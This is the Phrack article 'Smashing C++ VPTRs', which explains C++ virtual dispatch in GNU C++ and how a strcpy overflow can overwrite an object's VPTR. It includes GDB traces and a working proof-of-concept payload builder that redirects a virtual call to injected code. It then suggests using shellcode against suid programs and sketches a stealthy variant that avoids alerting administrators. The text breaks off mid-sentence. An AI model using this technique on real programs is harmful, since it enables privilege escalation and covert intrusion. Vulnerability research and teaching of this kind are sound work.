Title : Smashing C++ VPTRs
Author : rix
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x08[0x10]
|----------------------------- SMASHING C++ VPTRS ----------------------------|
|-----------------------------------------------------------------------------|
|-------------------------- rix <[email protected]> --------------------------|
----| Introduction
At the present time, a widely known set of techniques instructs us how to
exploit buffer overflows in programs usually written in C. Although C is
almost ubiquitously used, we are seeing many programs also be written in C++.
For the most part, the techniques that are applicable in C are available in
C++ also, however, C++ can offer us new possibilities in regards to buffer
overflows, mostly due to the use of object oriented technologies. We are
going to analyze one of these possibilities, using the C++ GNU compiler,
on an x86 Linux system.
----| C++ Backgrounder
We can define a "class" as being a structure that contains data and a set of
functions (called "methods"). Then, we can create variables based on this
class definition. Those variables are called "objects". For example, we
can have the following program (bo1.cpp):
#include <stdio.h>
#include <string.h>
class MyClass
{
private:
char Buffer[32];
public:
void SetBuffer(char *String)
{
strcpy(Buffer, String);
}
void PrintBuffer()
{
printf("%s\n", Buffer);
}
};
void main()
{
MyClass Object;
Object.SetBuffer("string");
Object.PrintBuffer();
}
This small program defines a MyClass class that possesses 2 methods:
1) A SetBuffer() method, that fills an internal buffer to the class (Buffer).
2) A PrintBuffer() method, that displays the content of this buffer.
Then, we define an Object object based on the MyClass class. Initially, we'll
notice that the SetBuffer() method uses a *very dangerous* function to fill
Buffer, strcpy()...
As it happens, using object oriented programming in this simplistic example
doesn't bring too many advantages. On the other hand, a mechanism very often
used in object oriented programming is the inheritance mechanism. Let's
consider the following program (bo2.cpp), using the inheritance mechanism
to create 2 classes with distinct PrintBuffer() methods:
#include <stdio.h>
#include <string.h>
class BaseClass
{
private:
char Buffer[32];
public:
void SetBuffer(char *String)
{
strcpy(Buffer,String);
}
virtual void PrintBuffer()
{
printf("%s\n",Buffer);
}
};
class MyClass1:public BaseClass
{
public:
void PrintBuffer()
{
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass
{
public:
void PrintBuffer()
{
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
void main()
{
BaseClass *Object[2];
Object[0] = new MyClass1;
Object[1] = new MyClass2;
Object[0]->SetBuffer("string1");
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
This program creates 2 distinct classes (MyClass1, MyClass2) which are
derivatives of a BaseClass class. These 2 classes differ at the display level
(PrintBuffer() method). Each has its own PrintBuffer() method, but they both
call the original PrintBuffer() method (from BaseClass). Next, we have the
main() function define an array of pointers to two objects of class BaseClass.
Each of these objects is created, as derived from MyClass1 or MyClass2.
Then we call the SetBuffer() and PrintBuffer() methods of these two objects.
Executing the program produces this output:
rix@pentium:~/BO> bo2
MyClass1: string1
MyClass2: string2
rix@pentium:~/BO>
We now notice the advantage of object oriented programming. We have the
same calling primitives to PrintBuffer() for two different classes! This is
the end result from virtual methods. Virtual methods permit us to redefine
newer versions of methods of our base classes, or to define a method of the
base classes (if the base class is purely abstracted) in a derivative class.
If we don't declare the method as virtual, the compiler would do the call
resolution at compile time ("static binding"). To resolve the call at run
time (because this call depends on the class of objects that we have in our
Object[] array), we must declare our PrintBuffer() method as "virtual". The
compiler will then use a dynamic binding, and will calculate the address for
the call at run time.
----| C++ VPTR
We are now going to analyze in a more detailed manner this dynamic binding
mechanism. Let's take the case of our BaseClass class and its derivative
classes.
The compiler first browses the declaration of BaseClass. Initially, it
reserves 32 bytes for the definition of Buffer. Then, it reads the
declaration of the SetBuffer() method (not virtual) and it directly assigns
the corresponding address in the code. Finally, it reads the declaration of
the PrintBuffer() method (virtual). In this case, instead of doing a static
binding, it does a dynamic binding, and reserves 4 bytes in the class (those
bytes will contain a pointer). We have now the following structure:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
Where: B represents a byte of Buffer.
V represents a byte of our pointer.
This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an
array of function pointers. Those point themselves to methods (relative to
the class). There is one VTABLE for a class, that contains only pointers to
all class methods. We now have the following diagram:
Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
=+==
|
+------------------------------+
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP
Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW
=+==
|
+------------------------------+
|
+--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ
Where: B represents a byte of Buffer.
V represents a byte of the VPTR to VTABLE_MyClass1.
W represents a byte of the VPTR to VTABLE_MyClass2.
I represents various information bytes.
P represents a byte of the pointer to the PrintBuffer() method of
MyClass1.
Q represents a byte of the pointer to the PrintBuffer() method of
MyClass2.
If we had a third object of MyClass1 class, for example, we would have:
Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
with VVVV that would point to VTABLE_MyClass1.
We notice that the VPTR is located after our Buffer in the process's memory.
As we fill this buffer via the strcpy() function, we easily deduct that we can
reach the VPTR by filling the buffer!
NOTE: After some tests under Windows, it appears that Visual C++ 6.0
places the VPTR right at the beginning of the object, which prevents us from
using this technique. On the other hand, C++ GNU places the VPTR at the end
of the object (which is what we want).
----| VPTR analysis using GDB
Now we will observe the mechanism more precisely, using a debugger. For this,
we compile our program and run GDB:
rix@pentium:~/BO > gcc -o bo2 bo2.cpp
rix@pentium:~/BO > gdb bo2
GNU gdb 4.17.0.11 with Linux support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x80485b0 <main>: pushl %ebp
0x80485b1 <main+1>: movl %esp,%ebp
0x80485b3 <main+3>: subl $0x8,%esp
0x80485b6 <main+6>: pushl %edi
0x80485b7 <main+7>: pushl %esi
0x80485b8 <main+8>: pushl %ebx
0x80485b9 <main+9>: pushl $0x24
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
0x80485c0 <main+16>: addl $0x4,%esp
0x80485c3 <main+19>: movl %eax,%eax
0x80485c5 <main+21>: pushl %eax
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
0x80485cb <main+27>: addl $0x4,%esp
0x80485ce <main+30>: movl %eax,%eax
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
0x80485d3 <main+35>: pushl $0x24
0x80485d5 <main+37>: call 0x80487f0 <___builtin_new>
0x80485da <main+42>: addl $0x4,%esp
0x80485dd <main+45>: movl %eax,%eax
0x80485df <main+47>: pushl %eax
0x80485e0 <main+48>: call 0x8048660 <__8MyClass2>
0x80485e5 <main+53>: addl $0x4,%esp
0x80485e8 <main+56>: movl %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x80485ea <main+58>: movl %eax,0xfffffffc(%ebp)
0x80485ed <main+61>: pushl $0x8048926
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
0x80485f5 <main+69>: pushl %eax
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x80485fb <main+75>: addl $0x8,%esp
0x80485fe <main+78>: pushl $0x804892e
0x8048603 <main+83>: movl 0xfffffffc(%ebp),%eax
0x8048606 <main+86>: pushl %eax
0x8048607 <main+87>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x804860c <main+92>: addl $0x8,%esp
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
0x8048612 <main+98>: movl 0x20(%eax),%ebx
0x8048615 <main+101>: addl $0x8,%ebx
0x8048618 <main+104>: movswl (%ebx),%eax
0x804861b <main+107>: movl %eax,%edx
0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
0x8048620 <main+112>: pushl %edx
0x8048621 <main+113>: movl 0x4(%ebx),%edi
0x8048624 <main+116>: call *%edi
0x8048626 <main+118>: addl $0x4,%esp
0x8048629 <main+121>: movl 0xfffffffc(%ebp),%eax
0x804862c <main+124>: movl 0x20(%eax),%esi
0x804862f <main+127>: addl $0x8,%esi
---Type <return> to continue, or q <return> to quit---
0x8048632 <main+130>: movswl (%esi),%eax
0x8048635 <main+133>: movl %eax,%edx
0x8048637 <main+135>: addl 0xfffffffc(%ebp),%edx
0x804863a <main+138>: pushl %edx
0x804863b <main+139>: movl 0x4(%esi),%edi
0x804863e <main+142>: call *%edi
0x8048640 <main+144>: addl $0x4,%esp
0x8048643 <main+147>: xorl %eax,%eax
0x8048645 <main+149>: jmp 0x8048650 <main+160>
0x8048647 <main+151>: movl %esi,%esi
0x8048649 <main+153>: leal 0x0(%edi,1),%edi
0x8048650 <main+160>: leal 0xffffffec(%ebp),%esp
0x8048653 <main+163>: popl %ebx
0x8048654 <main+164>: popl %esi
0x8048655 <main+165>: popl %edi
0x8048656 <main+166>: movl %ebp,%esp
0x8048658 <main+168>: popl %ebp
0x8048659 <main+169>: ret
0x804865a <main+170>: leal 0x0(%esi),%esi
End of assembler dump.
Let's analyze, in a detailed manner, what our main() function does:
0x80485b0 <main>: pushl %ebp
0x80485b1 <main+1>: movl %esp,%ebp
0x80485b3 <main+3>: subl $0x8,%esp
0x80485b6 <main+6>: pushl %edi
0x80485b7 <main+7>: pushl %esi
0x80485b8 <main+8>: pushl %ebx
The program creates a stack frame, then it reserves 8 bytes on the stack (this
is our local Object[] array), that will contain 2 pointers of 4 bytes each,
respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for
Object[1]. Next, it saves various registers.
0x80485b9 <main+9>: pushl $0x24
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
0x80485c0 <main+16>: addl $0x4,%esp
The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the
heap for our Object[0] and sends us back the address of these bytes reserved
in EAX. Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes
for our VPTR.
0x80485c3 <main+19>: movl %eax,%eax
0x80485c5 <main+21>: pushl %eax
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
0x80485cb <main+27>: addl $0x4,%esp
Here, we place the address of the object (contained in EAX) on the stack, then
we call the __8MyClass1 function. This function is in fact the constructor of
the MyClass1 class. It is necessary to also notice that in C++, all methods
include an additional "secret" parameter. That is the address of the object
that actually executes the method (the "This" pointer). Let's analyze
instructions from this constructor:
(gdb) disassemble __8MyClass1
Dump of assembler code for function __8MyClass1:
0x8048690 <__8MyClass1>: pushl %ebp
0x8048691 <__8MyClass1+1>: movl %esp,%ebp
0x8048693 <__8MyClass1+3>: pushl %ebx
0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx
EBX now contains the pointer to the 36 reserved bytes ("This" pointer).
0x8048697 <__8MyClass1+7>: pushl %ebx
0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass>
0x804869d <__8MyClass1+13>: addl $0x4,%esp
Here, we call the constructor of the BaseClass class.
(gdb) disass __9BaseClass
Dump of assembler code for function __9BaseClass:
0x8048700 <__9BaseClass>: pushl %ebp
0x8048701 <__9BaseClass+1>: movl %esp,%ebp
0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx
EDX receives the pointer to the 36 reserved bytes ("This" pointer).
0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx)
The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value.
Then, the __9BaseClass function extends a little farther. If we launch:
(gdb) x/aw 0x08048958
0x8048958 <_vt.9BaseClass>: 0x0
We observe that the value that is written in EDX+0x20 (the VPTR of the
reserved object) receives the address of the VTABLE of the BaseClass class.
Returning to the code of the MyClass1 constructor:
0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx)
It writes the 0x8048948 value to EBX+0x20 (VPTR). Again, the function extends
a little farther. Let's launch:
(gdb) x/aw 0x08048948
0x8048948 <_vt.8MyClass1>: 0x0
We observe that the VPTR is overwritten, and that it now receives the address
of the VTABLE of the MyClass1 class. Our main() function get back (in EAX) a
pointer to the object allocated in memory.
0x80485ce <main+30>: movl %eax,%eax
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
This pointer is placed in Object[0]. Then, the program uses the same mechanism
for Object[1], evidently with different addresses. After all that
initialization, the following instructions will run:
0x80485ed <main+61>: pushl $0x8048926
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
0x80485f5 <main+69>: pushl %eax
Here, we first place address 0x8048926 as well as the value of Object[0] on
the stack ("This" pointer). Observing the 0x8048926 address:
(gdb) x/s 0x08048926
0x8048926 <_fini+54>: "string1"
We notice that this address contains "string1" that is going to be copied in
Buffer via the SetBuffer() function of the BaseClass class.
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
0x80485fb <main+75>: addl $0x8,%esp
We call the SetBuffer() method of the BaseClass class. It is interesting to
observe that the call of the SetBuffer method is a static binding (because it
is not a virtual method). The same principle is used for the SetBuffer()
method relative to Object[1].
To verify that our 2 objects are correctly initialized at run time, we are
going to install the following breakpoints:
0x80485c0: to get the address of the 1st object.
0x80485da: to get the address of the 2nd object.
0x804860f: to verify that initializations of objects took place well.
(gdb) break *0x80485c0
Breakpoint 1 at 0x80485c0
(gdb) break *0x80485da
Breakpoint 2 at 0x80485da
(gdb) break *0x804860f
Breakpoint 3 at 0x804860f
Finally we run the program:
Starting program: /home/rix/BO/bo2
Breakpoint 1, 0x80485c0 in main ()
While consulting EAX, we will have the address of our 1st object:
(gdb) info reg eax
eax: 0x8049a70 134519408
Then, we continue to the following breakpoint:
(gdb) cont
Continuing.
Breakpoint 2, 0x80485da in main ()
We notice our second object address:
(gdb) info reg eax
eax: 0x8049a98 134519448
We can now run the constructors and the SetBuffer() methods:
(gdb) cont
Continuing.
Breakpoint 3, 0x804860f in main ()
Let's notice that our 2 objects follow themselves in memory (0x8049a70 and
0x8049a98). However, 0x8049a98 - 0x8049a70 = 0x28, which means that there are
4 bytes that have apparently been inserted between the 1st and the 2nd object.
If we want to see these bytes:
(gdb) x/aw 0x8049a98-4
0x8049a94: 0x29
We observe that they contain the value 0x29. The 2nd object is also followed
by 4 particular bytes:
(gdb) x/xb 0x8049a98+32+4
0x8049abc: 0x49
We are now going to display in a more precise manner the internal structure of
each of our objects (now initialized):
(gdb) x/s 0x8049a70
0x8049a70: "string1"
(gdb) x/a 0x8049a70+32
0x8049a90: 0x8048948 <_vt.8MyClass1>
(gdb) x/s 0x8049a98
0x8049a98: "string2"
(gdb) x/a 0x8049a98+32
0x8049ab8: 0x8048938 <_vt.8MyClass2>
We can display the content of the VTABLEs of each of our classes:
(gdb) x/a 0x8048948
0x8048948 <_vt.8MyClass1>: 0x0
(gdb) x/a 0x8048948+4
0x804894c <_vt.8MyClass1+4>: 0x0
(gdb) x/a 0x8048948+8
0x8048950 <_vt.8MyClass1+8>: 0x0
(gdb) x/a 0x8048948+12
0x8048954 <_vt.8MyClass1+12>: 0x8048770 <PrintBuffer__8MyClass1>
(gdb) x/a 0x8048938
0x8048938 <_vt.8MyClass2>: 0x0
(gdb) x/a 0x8048938+4
0x804893c <_vt.8MyClass2+4>: 0x0
(gdb) x/a 0x8048938+8
0x8048940 <_vt.8MyClass2+8>: 0x0
(gdb) x/a 0x8048938+12
0x8048944 <_vt.8MyClass2+12>: 0x8048730 <PrintBuffer__8MyClass2>
We see that the PrintBuffer() method is well the 4th method in the VTABLE of
our classes. Next, we are going to analyze the mechanism for dynamic binding.
It we will continue to run and display registers and memory used. We will
execute the code of the function main() step by step, with instructions:
(gdb) ni
Now we are going to run the following instructions:
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
This instruction is going to make EAX point to the 1st object.
0x8048612 <main+98>: movl 0x20(%eax),%ebx
0x8048615 <main+101>: addl $0x8,%ebx
These instructions are going to make EBX point on the 3rd address from the
VTABLE of the MyClass1 class.
0x8048618 <main+104>: movswl (%ebx),%eax
0x804861b <main+107>: movl %eax,%edx
These instructions are going to load the word at offset +8 in the VTABLE to
EDX.
0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
0x8048620 <main+112>: pushl %edx
These instructions add to EDX the offset of the 1st object, and place the
resulting address (This pointer) on the stack.
0x8048621 <main+113>: movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4)
0x8048624 <main+116>: call *%edi // run the code at EDI
This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that
is the address of the PrintBuffer() method of the MyClass1 class. Then, this
method is executed. The same mechanism is used to execute the PrintBuffer()
method of the MyClass2 class. Finally, the function main() ends a little
farther, using a RET.
We have observed a "strange handling", to point to the beginning of the object
in memory, since we went to look for an offset word in VPTR+8 to add it to the
address of our 1st object. This manipulation doesn't serve has anything in
this precise case, because the value pointed by VPTR+8 was 0:
(gdb) x/a 0x8048948+8
0x8048950 <_vt.8MyClass1+8>: 0x0
However, this manipulation is necessary in several convenient cases. It is why
it is important to notice it. We will come back besides later on this
mechanism, because it will provoke some problems later.
----| Exploiting VPTR
We are now going to try to exploit in a simple manner the buffer overflow.
For it, we must proceed as this:
- To construct our own VTABLE, whose addresses will point to the code that we
want to run (a shellcode for example ;)
- To overflow the content of the VPTR so that it points to our own VTABLE.
One of the means to achieve it, is to code our VTABLE in the beginning of the
buffer that we will overflow. Then, we must set a VPTR value to point back to
the beginning of our buffer (our VTABLE). We can either place our shellcode
directly after our VTABLE in our buffer, either place it after the value of the
VPTR that we are going to overwrite.
However, if we place our shellcode after the VPTR, it is necessary to be
certain that we have access to this part of the memory, to not provoke
segmentation faults.
This consideration depends largely of the size of the buffer.
A buffer of large size will be able to contain without problem a VTABLE and a
shellcode, and then avoid all risks of segmentation faults.
Let's remind ourselves that our objects are each time followed by a 4 bytes
sequence (0x29, 0x49), and that we can without problems write our 00h (end of
string) to the byte behind our VPTR.
To check we are going to place our shellcode rightly before our VPTR.
We are going to adopt the following structure in our buffer:
+------(1)---<----------------+
| |
| ==+=
SSSS ..... SSSS .... B ... CVVVV0
==+= =+== |
| | |
+----(2)--+->-------------+
Where: V represents bytes of the address of the beginning of our buffer.
S represents bytes of the address of our shellcode, here the address of
C (address S=address V+offset VPTR in the buffer-1 in this case, because
we have placed our shellcode rightly before the VPTR).
B represents the possible bytes of any value alignment (NOPs:), to
align the value of our VPTR on the VPTR of the object.
C represents the byte of the shellcode, in this case, a simple CCh byte
(INT 3), that will provoke a SIGTRAP signal.
0 represents the 00h byte, that will be at the end of our buffer (for
strcpy() function).
The number of addresses to put in the beginning of our buffer (SSSS) depends
if we know or not the index in the VTABLE of the 1st method that will be
called after our overflow:
Either we knows this index, and then we writes the corresponding pointer.
Either we doesn't know this index, and we generate a maximum number of
pointers. Then, we hope the method that will be executed will use one of those
overwritten pointers. Notice that a class that contains 200 methods isn't very
usual ;)
The address to put in VVVV (our VPTR) depends principally of the execution of
the program.
It is necessary to note here that our objects were allocated on the heap, and
that it is difficult to know exactly their addresses.
We are going to write a small function that will construct us a buffer.
This function will receive 3 parameters:
- BufferAddress: the address of the beginning of the buffer that we will
overflow.
- NAddress: the number of addresses that we want in our VTABLE.
Here is the code of our BufferOverflow() function:
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;
Buffer=(char*)malloc(VPTROffset+4);
// allocates the buffer.
CCOffset=(unsigned long)VPTROffset-1;
// calculates the offset of the code to execute in the buffer.
for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
// fills the buffer with 90h (NOP, old habit:)))
LongBuffer=(unsigned long*)Buffer;
// constructs a pointer to place addresses in our VTABLE.
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
// fills our VTABLE at the beginning of the buffer with the address of the
// shellcode.
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
// constructs a pointeur on VPTR.
*LongBuffer=BufferAddress;
// value that will overwrite VPTR.
Buffer[CCOffset]='\xCC';
// our executable code.
Buffer[VPTROffset+4]='\x00';
// finishes by a 00h char (end string).
return Buffer;
}
In our program we can now call our BufferOverflow() function, with as
parameters:
- the address of our buffer, here the address of our object (Object[0]).
- 4 values in our VTABLE, in this case (since PrintBuffer() is in VTABLE+8+4).
- 32 as offset for VPTR.
Here is the resulting code (bo3.cpp):
#include <stdio.h>
#include <string.h>
#include <malloc.h>
class BaseClass {
private:
char Buffer[32];
public:
void SetBuffer(char *String) {
strcpy(Buffer,String);
}
virtual void PrintBuffer() {
printf("%s\n",Buffer);
}
};
class MyClass1:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass1: ");
BaseClass::PrintBuffer();
}
};
class MyClass2:public BaseClass {
public:
void PrintBuffer() {
printf("MyClass2: ");
BaseClass::PrintBuffer();
}
};
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
char *Buffer;
unsigned long *LongBuffer;
unsigned long CCOffset;
int i;
Buffer=(char*)malloc(VPTROffset+4+1);
CCOffset=(unsigned long)VPTROffset-1;
for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
LongBuffer=(unsigned long*)Buffer;
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
*LongBuffer=BufferAddress;
Buffer[CCOffset]='\xCC';
Buffer[VPTROffset+4]='\x00';
return Buffer;
}
void main() {
BaseClass *Object[2];
Object[0]=new MyClass1;
Object[1]=new MyClass2;
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32));
Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}
We compile, and we launch GDB:
rix@pentium:~/BO > gcc -o bo3 bo3.cpp
rix@pentium:~/BO > gdb bo3
...
(gdb) disass main
Dump of assembler code for function main:
0x8048670 <main>: pushl %ebp
0x8048671 <main+1>: movl %esp,%ebp
0x8048673 <main+3>: subl $0x8,%esp
0x8048676 <main+6>: pushl %edi
0x8048677 <main+7>: pushl %esi
0x8048678 <main+8>: pushl %ebx
0x8048679 <main+9>: pushl $0x24
0x804867b <main+11>: call 0x80488c0 <___builtin_new>
0x8048680 <main+16>: addl $0x4,%esp
0x8048683 <main+19>: movl %eax,%eax
0x8048685 <main+21>: pushl %eax
0x8048686 <main+22>: call 0x8048760 <__8MyClass1>
0x804868b <main+27>: addl $0x4,%esp
0x804868e <main+30>: movl %eax,%eax
0x8048690 <main+32>: movl %eax,0xfffffff8(%ebp)
0x8048693 <main+35>: pushl $0x24
0x8048695 <main+37>: call 0x80488c0 <___builtin_new>
0x804869a <main+42>: addl $0x4,%esp
0x804869d <main+45>: movl %eax,%eax
0x804869f <main+47>: pushl %eax
0x80486a0 <main+48>: call 0x8048730 <__8MyClass2>
0x80486a5 <main+53>: addl $0x4,%esp
0x80486a8 <main+56>: movl %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x80486aa <main+58>: movl %eax,0xfffffffc(%ebp)
0x80486ad <main+61>: pushl $0x20
0x80486af <main+63>: pushl $0x4
0x80486b1 <main+65>: movl 0xfffffff8(%ebp),%eax
0x80486b4 <main+68>: pushl %eax
0x80486b5 <main+69>: call 0x80485b0 <BufferOverflow__FUlii>
0x80486ba <main+74>: addl $0xc,%esp
0x80486bd <main+77>: movl %eax,%eax
0x80486bf <main+79>: pushl %eax
0x80486c0 <main+80>: movl 0xfffffff8(%ebp),%eax
0x80486c3 <main+83>: pushl %eax
0x80486c4 <main+84>: call 0x8048790 <SetBuffer__9BaseClassPc>
0x80486c9 <main+89>: addl $0x8,%esp
0x80486cc <main+92>: pushl $0x80489f6
0x80486d1 <main+97>: movl 0xfffffffc(%ebp),%eax
0x80486d4 <main+100>: pushl %eax
0x80486d5 <main+101>: call 0x8048790 <SetBuffer__9BaseClassPc>
0x80486da <main+106>: addl $0x8,%esp
0x80486dd <main+109>: movl 0xfffffff8(%ebp),%eax
0x80486e0 <main+112>: movl 0x20(%eax),%ebx
0x80486e3 <main+115>: addl $0x8,%ebx
0x80486e6 <main+118>: movswl (%ebx),%eax
0x80486e9 <main+121>: movl %eax,%edx
0x80486eb <main+123>: addl 0xfffffff8(%ebp),%edx
---Type <return> to continue, or q <return> to quit---
0x80486ee <main+126>: pushl %edx
0x80486ef <main+127>: movl 0x4(%ebx),%edi
0x80486f2 <main+130>: call *%edi
0x80486f4 <main+132>: addl $0x4,%esp
0x80486f7 <main+135>: movl 0xfffffffc(%ebp),%eax
0x80486fa <main+138>: movl 0x20(%eax),%esi
0x80486fd <main+141>: addl $0x8,%esi
0x8048700 <main+144>: movswl (%esi),%eax
0x8048703 <main+147>: movl %eax,%edx
0x8048705 <main+149>: addl 0xfffffffc(%ebp),%edx
0x8048708 <main+152>: pushl %edx
0x8048709 <main+153>: movl 0x4(%esi),%edi
0x804870c <main+156>: call *%edi
0x804870e <main+158>: addl $0x4,%esp
0x8048711 <main+161>: xorl %eax,%eax
0x8048713 <main+163>: jmp 0x8048720 <main+176>
0x8048715 <main+165>: leal 0x0(%esi,1),%esi
0x8048719 <main+169>: leal 0x0(%edi,1),%edi
0x8048720 <main+176>: leal 0xffffffec(%ebp),%esp
0x8048723 <main+179>: popl %ebx
0x8048724 <main+180>: popl %esi
0x8048725 <main+181>: popl %edi
0x8048726 <main+182>: movl %ebp,%esp
0x8048728 <main+184>: popl %ebp
---Type <return> to continue, or q <return> to quit---
0x8048729 <main+185>: ret
0x804872a <main+186>: leal 0x0(%esi),%esi
End of assembler dump.
Next, we install a breakpoint in 0x8048690, to get the address of our 1st
object.
(gdb) break *0x8048690
Breakpoint 1 at 0x8048690
And finally, we launch our program:
(gdb) run
Starting program: /home/rix/BO/bo3
Breakpoint 1, 0x8048690 in main ()
We read the address of our 1st object:
(gdb) info reg eax
eax: 0x8049b38 134519608
Then we pursue, while hoping that all happens as foreseen... :)
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8049b58 in ?? ()
We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58
address. However, the address of our object was 0x8049b38.
0x8049b58-1-0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our
buffer. Therefore, it is well our CCh that has been executed!!!
You understood it, we can now replace our simple CCh code, by a small
shellcode, to get some more interesting results, especially if our program
bo3 is suid... ;)
Some variations about the method
================================
We have explain here the simplest exploitable mechanism.
Other more complex cases could possibly appear...
For example, we could have associations between classes like this:
class MyClass3 {
private:
char Buffer3[32];
MyClass1 *PtrObjectClass;
public:
virtual void Function1() {
...
PtrObjectClass1->PrintBuffer();
...
}
};
In this case, we have a relation between 2 classes called "link by reference".
Our MyClass3 class contains a pointer to another class. If we overflow the
buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We
only need to browse a supplementary pointer ;)
+----------------------------------------------------+
| |
+-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR |
=+==
MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX
==+=
|
+---------------------<---------------------------+
|
+--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
==+=
|
+-------------------------------------------------------+
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ
Where: B represents bytes of the Buffer of MyClass4.
C represents bytes of the Buffer of MyClass1.
P represents bytes of a pointer to a MyClass1 object class.
X represents bytes of the possible VPTR of the MyClass4 object class.
(it is not necessary to have a VPTR in the class containing the
pointer).
Y represent bytes of the VPTR of the MyClass1 object class.
This technique doesn't depend here on the structure of the internal class to
the compiler (offset of VPTR), but depend of the structure of the class
defined by the programmer, and dus it can even be exploited in programs coming
from compilers placing the VPTR at the beginning of the object in memory (for
example Visual C++).
Besides, in this case, the MyClass3 object class possibly have been created
on the stack (local object), what makes that localization is a lot easier,
being given that the address of the object will probably be fixed. However, in
this case, it will be necessary that our stack be executable, and not our heap
as previously.
We know how to find the values for 2 of the 3 parameters of our
BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR)
Indeed these 2 parameters can be easily founded in debugging the code of the
program, and besides, their value is fixed from on execution to another.
On the other hand, the 1st parameter (address of the object in memory), is
more difficult to establish. In fact, we need this address only because we
want to place the VTABLE that we created into the buffer.
----| A particular example
Let's suppose that we have a class whose last variable is an exploitable
buffer. This means that if we fill this buffer (for example of size N bytes),
with N + 4 bytes, we know that we don't have modify anything else in the space
memory of the process that the content of our buffer, the VPTR, and the
byte following our VPTR (because character 00h).
Perhaps could we take advantage of this situation. But how? We are going to
use the buffer, to launch a shellcode, and next to follow the execution of the
program! The advantage will be enormous, since the program would not be
finished brutally, and dus will not alert someone eventually controlling or
logging its execution (administrators...).
Is it possible?
It would be necessary to first execute our shellcode, to rewrite a chain in
our buffer, and to restore the stack in the initial state (just before the
call of our method). Then, it would only remain us to recall the initial
method, so that the program normally continues.
Here are several remarks and problems that we are going to meet:
- it is necessary to completely rewrite our buffer (so that the continuation
of the execution uses appropriate values), and therefore to overwrite our own
shellcode.
To avoid it, we are going to copy a part of our shellcode (the smallest part
as possible ) to another place in memory.
In this case we are going to copy a part of our shellcode to the stack (we
will call this part of code "stackcode"). It should not pose any particularly
problems if our stack is executable.
- We had mentioned before a "strange handling", that consisted to add an
offset to the address of our object, and to place this result on the stack,
what provided the This pointer to the executed method.
The problem is, that here, the offset that is going to be added to the
address of our object is going to be took in our VTABLE, and that this offset
cannot be 0 (because we cannot have 00h bytes in our buffer).
We are going to choose an arbitrary value for this offset, that we will place
in our VTABLE, and correct the This value on the stack later, with a
corresponding subtraction.
- we are going to make a fork () on our process, to launch the execution of
the shell (exec ()), and to wait for its termination (wait ()), to continue
our execution of the main program.
- the address where we will continue our execution is constant, because it is
the address of the original method (presents in the VTABLE of our object's
relative class).
- we know that we can use our EAX register, because this one would be
